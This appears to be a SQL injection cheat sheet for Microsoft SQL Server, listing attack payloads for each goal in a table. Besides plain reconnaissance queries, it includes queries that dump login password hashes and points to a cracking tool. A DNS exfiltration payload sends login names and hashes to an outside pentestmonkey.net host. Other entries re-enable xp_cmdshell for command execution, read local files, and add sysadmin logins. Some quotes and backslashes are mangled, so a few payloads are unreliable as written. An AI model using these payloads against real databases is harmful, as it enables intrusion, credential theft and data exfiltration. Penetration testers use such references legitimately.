| Version | SELECT @@version |
| Comments |
SELECT 1 — comment
SELECT /*comment*/1 |
| Current User |
SELECT user_name();
SELECT system_user; SELECT user; SELECT loginame FROM master..sysprocesses WHERE spid = @@SPID |
| List Users | SELECT name FROM master..syslogins |
| List Password Hashes |
SELECT name, password FROM master..sysxlogins — priv, mssql 2000;
SELECT name, master.dbo.fn_varbintohexstr(password) FROM master..sysxlogins — priv, mssql 2000. Need to convert to hex to return hashes in MSSQL error message / some version of query analyzer. SELECT name, password_hash FROM master.sys.sql_logins — priv, mssql 2005; SELECT name + ‘-’ + master.sys.fn_varbintohexstr(password_hash) from master.sys.sql_logins — priv, mssql 2005 |
| Password Cracker | MSSQL 2000 and 2005 Hashes are both SHA1-based. phrasen|drescher can crack these. |
| List Privileges |
– current privs on a particular object in 2005, 2008
SELECT permission_name FROM master..fn_my_permissions(null, ‘DATABASE’); — current database SELECT permission_name FROM master..fn_my_permissions(null, ‘SERVER’); — current server SELECT permission_name FROM master..fn_my_permissions(‘master..syslogins’, ‘OBJECT’); –permissions on a table SELECT permission_name FROM master..fn_my_permissions(‘sa’, ‘USER’);
–permissions on a user– current privs in 2005, 2008 SELECT is_srvrolemember(‘sysadmin’); SELECT is_srvrolemember(‘dbcreator’); SELECT is_srvrolemember(‘bulkadmin’); SELECT is_srvrolemember(‘diskadmin’); SELECT is_srvrolemember(‘processadmin’); SELECT is_srvrolemember(‘serveradmin’); SELECT is_srvrolemember(‘setupadmin’); SELECT is_srvrolemember(‘securityadmin’); – who has a particular priv? 2005, 2008 SELECT name FROM master..syslogins WHERE denylogin = 0; SELECT name FROM master..syslogins WHERE hasaccess = 1; SELECT name FROM master..syslogins WHERE isntname = 0; SELECT name FROM master..syslogins WHERE isntgroup = 0; SELECT name FROM master..syslogins WHERE sysadmin = 1; SELECT name FROM master..syslogins WHERE securityadmin = 1; SELECT name FROM master..syslogins WHERE serveradmin = 1; SELECT name FROM master..syslogins WHERE setupadmin = 1; SELECT name FROM master..syslogins WHERE processadmin = 1; SELECT name FROM master..syslogins WHERE diskadmin = 1; SELECT name FROM master..syslogins WHERE dbcreator = 1; SELECT name FROM master..syslogins WHERE bulkadmin = 1; |
| List DBA Accounts |
SELECT is_srvrolemember(‘sysadmin’); — is your account a sysadmin? returns 1 for true, 0 for false, NULL for invalid role. Also try ‘bulkadmin’, ‘systemadmin’ and other values from the documentation
SELECT is_srvrolemember(‘sysadmin’, ‘sa’); — is sa a sysadmin? return 1 for true, 0 for false, NULL for invalid role/username. SELECT name FROM master..syslogins WHERE sysadmin = ’1′ — tested on 2005 |
| Current Database | SELECT DB_NAME() |
| List Databases |
SELECT name FROM master..sysdatabases;
SELECT DB_NAME(N); — for N = 0, 1, 2, … |
| List Columns |
SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = ‘mytable’); — for the current DB only
SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable |
| List Tables |
SELECT name FROM master..sysobjects WHERE xtype = ‘U’; — use xtype = ‘V’ for views
SELECT name FROM someotherdb..sysobjects WHERE xtype = ‘U’; SELECT master..syscolumns.name, TYPE_NAME(master..syscolumns.xtype) FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name=’sometable’; — list colum names and types for master..sometable |
| Find Tables From Column Name |
– NB: This example works only for the current database. If you wan’t to search another db, you need to specify the db name (e.g. replace sysobject with mydb..sysobjects).
SELECT sysobjects.name as tablename, syscolumns.name as columnname FROM sysobjects JOIN syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.xtype = ‘U’ AND syscolumns.name LIKE ‘%PASSWORD%’ — this lists table, column for each column containing the word ‘password’ |
| Select Nth Row | SELECT TOP 1 name FROM (SELECT TOP 9 name FROM master..syslogins ORDER BY name ASC) sq ORDER BY name DESC — gets 9th row |
| Select Nth Char | SELECT substring(‘abcd’, 3, 1) — returns c |
| Bitwise AND |
SELECT 6 & 2 — returns 2
SELECT 6 & 1 — returns 0 |
| ASCII Value -> Char | SELECT char(0×41) — returns A |
| Char -> ASCII Value | SELECT ascii(‘A’) – returns 65 |
| Casting |
SELECT CAST(’1′ as int);
SELECT CAST(1 as char) |
| String Concatenation | SELECT ‘A’ + ‘B’ – returns AB |
| If Statement | IF (1=1) SELECT 1 ELSE SELECT 2 — returns 1 |
| Case Statement | SELECT CASE WHEN 1=1 THEN 1 ELSE 2 END — returns 1 |
| Avoiding Quotes | SELECT char(65)+char(66) — returns AB |
| Time Delay | WAITFOR DELAY ’0:0:5′ — pause for 5 seconds |
| Make DNS Requests |
declare @host varchar(800); select @host = name FROM master..syslogins; exec(‘master..xp_getfiledetails ”\’ + @host + ‘c$boot.ini”’); — nonpriv, works on 2000declare @host varchar(800); select @host = name + ‘-’ + master.sys.fn_varbintohexstr(password_hash) + ‘.2.pentestmonkey.net’ from sys.sql_logins; exec(‘xp_fileexist ”\’ + @host + ‘c$boot.ini”’); — priv, works on 2005– NB: Concatenation is not allowed in calls to these SPs, hence why we have to use @host. Messy but necessary.
– Also check out theDNS tunnel feature of sqlninja |
| Command Execution |
EXEC xp_cmdshell ‘net user’; — privOn MSSQL 2005 you may need to reactivate xp_cmdshell first as it’s disabled by default:
EXEC sp_configure ‘show advanced options’, 1; — priv RECONFIGURE; — priv EXEC sp_configure ‘xp_cmdshell’, 1; — priv RECONFIGURE; — priv |
| Local File Access |
CREATE TABLE mydata (line varchar(8000));
BULK INSERT mydata FROM ‘c:boot.ini’; DROP TABLE mydata; |
| Hostname, IP Address | SELECT HOST_NAME() |
| Create Users | EXEC sp_addlogin ‘user’, ‘pass’; — priv |
| Drop Users | EXEC sp_droplogin ‘user’; — priv |
| Make User DBA | EXEC master.dbo.sp_addsrvrolemember ‘user’, ‘sysadmin; — priv |
| Location of DB files |
EXEC sp_helpdb master; –location of master.mdf
EXEC sp_helpdb pubs; –location of pubs.mdf |
| Default/System Databases |
northwind
model msdb pubs — not on sql server 2005 tempdb |